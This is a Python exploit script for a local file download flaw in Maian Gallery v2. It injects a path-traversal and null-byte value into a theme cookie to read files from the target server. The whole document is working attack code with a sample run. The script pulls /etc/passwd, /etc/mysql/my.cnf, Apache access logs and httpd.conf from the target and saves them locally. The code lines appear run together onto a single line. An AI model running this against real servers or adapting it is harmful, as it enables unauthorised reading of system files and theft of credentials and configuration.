Maian Gallery 2 – Local File Download
#!/usr/bin/python # # This vulnerability uses file_get_contents() # so we have some limitations, we cant execute PHP # and we cant read files that the web server will # interpret such as PHP, conf etc # # tested on: Ubuntu Linux 2.6.32 with php v5.3.2 # register_globals = Off # # PRIVATE 0DAY - code by mr_me # Vulnerability found by my special PHP friend and is now patched, hence this PoC ;) # # mr_me@1337:~$ sudo ~/maian.py -p 127.0.0.1:8080 -t localhost -d /maian_gallery/ -o /home/mr_me/ # # | ------------------------------------------------------------- | # | -= Maian Gallery v2 Local File Download Exploit = | # | ---------------------------[ by mr_me ]---------------------- | # # (+) Checking target @: http://localhost/maian_gallery/ # # (+) Testing Proxy... # (+) Proxy working! 127.0.0.1:8080 # (+) Building Handler.. # (+) File download is working! # (+) Looking for remote configuration files and saving them to /home/mr_me/ # (+) Found file on remote host @ /var/log/apache2/access.log # (+) Found file on remote host @ /etc/mysql/my.cnf # (+) Found file on remote host @ /etc/passwd # (!) Done! # import sys, os, httplib, socket, urllib2, re from optparse import OptionParser usage= "./%prog [<options>] -t [target] -d [directory] -o [output dir to save files]" usage += "\nExample : ./%prog -p 203.167.876.54:80 -t localhost -d maian_gallery/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The target server") parser.add_option("-d", type="string", action="store", dest="directory", help="The dir path to maian gallery") parser.add_option("-o", type="string", action="store", dest="outputDir", help="Output dir to save all files") (options, args) = parser.parse_args() def banner(): print "\n\t\t| ------------------------------------------------------------ |" print "\t\t| -= Maian Gallery v2 Local File Download Exploit =- |" print "\t\t| ---------------------------[ by mr_me ]--------------------- |\n" if len(sys.argv) < 4: banner() parser.print_help() sys.exit(1) def getProxy(): try: pr = httplib.HTTPConnection(options.proxy) pr.connect() proxy_handler = urllib2.ProxyHandler({'http': options.proxy}) except(socket.timeout): print "\n(-) Proxy Timed Out" sys.exit(1) except(),msg: print "\n(-) Proxy Failed" sys.exit(1) return proxy_handler dltest = "etc/passwd" dotDotSlash = '../../../../../../../../../' findAllFiles = ['/var/log/apache2/access_log', '/var/log/apache2/access.log', '/etc/mysql/my.cnf', '/etc/my.cnf', '/etc/passwd', '/etc/apache2/httpd.conf'] if options.target[0:6] != 'http://': options.target = "http://" + options.target def getRequest(localFile): if options.proxy: try: proxyfier = urllib2.build_opener(getProxy()) proxyfier.addheaders = [('Cookie', 'PHPSESSID=d0tcacup9euftbsb9kd7r55db3; mgallery_theme_cookie='+dotDotSlash+localFile+"%00")] check = proxyfier.open(options.target+options.directory).read() except urllib2.HTTPError, error: check = error.read() else: try: req = urllib2.Request(options.target+options.directory) req.add_header('Cookie', 'PHPSESSID=d0tcacup9euftbsb9kd7r55db3; mgallery_theme_cookie='+dotDotSlash+localFile+"%00") check = urllib2.urlopen(req).read() except urllib2.HTTPError, error: check = error.read() return check banner() print "(+) Checking target @: %s" % (options.target+options.directory) if options.proxy: print "\n(+) Testing Proxy..." print "(+) Proxy working! %s" % (options.proxy) print "(+) Building Handler.." check = getRequest(dltest) if re.findall("root:x:", check): print "(+) File download is working!" print "(+) Looking for remote configuration files and saving them to %s" % (options.outputDir) for f in findAllFiles: checkFile = getRequest(f) if len(checkFile) > 0: print "(+) Found file on remote host @ %s" % (f) filenames = f.split('/') try: ff = open(options.outputDir+filenames[len(filenames)-1]+'.txt','w') ff.write(checkFile) ff.close() except: print "(-) Cannot save remote files locally.. check your path" print "(!) Done!\n" else: print "(-) Target not vulnerable to the file download vulnerability" |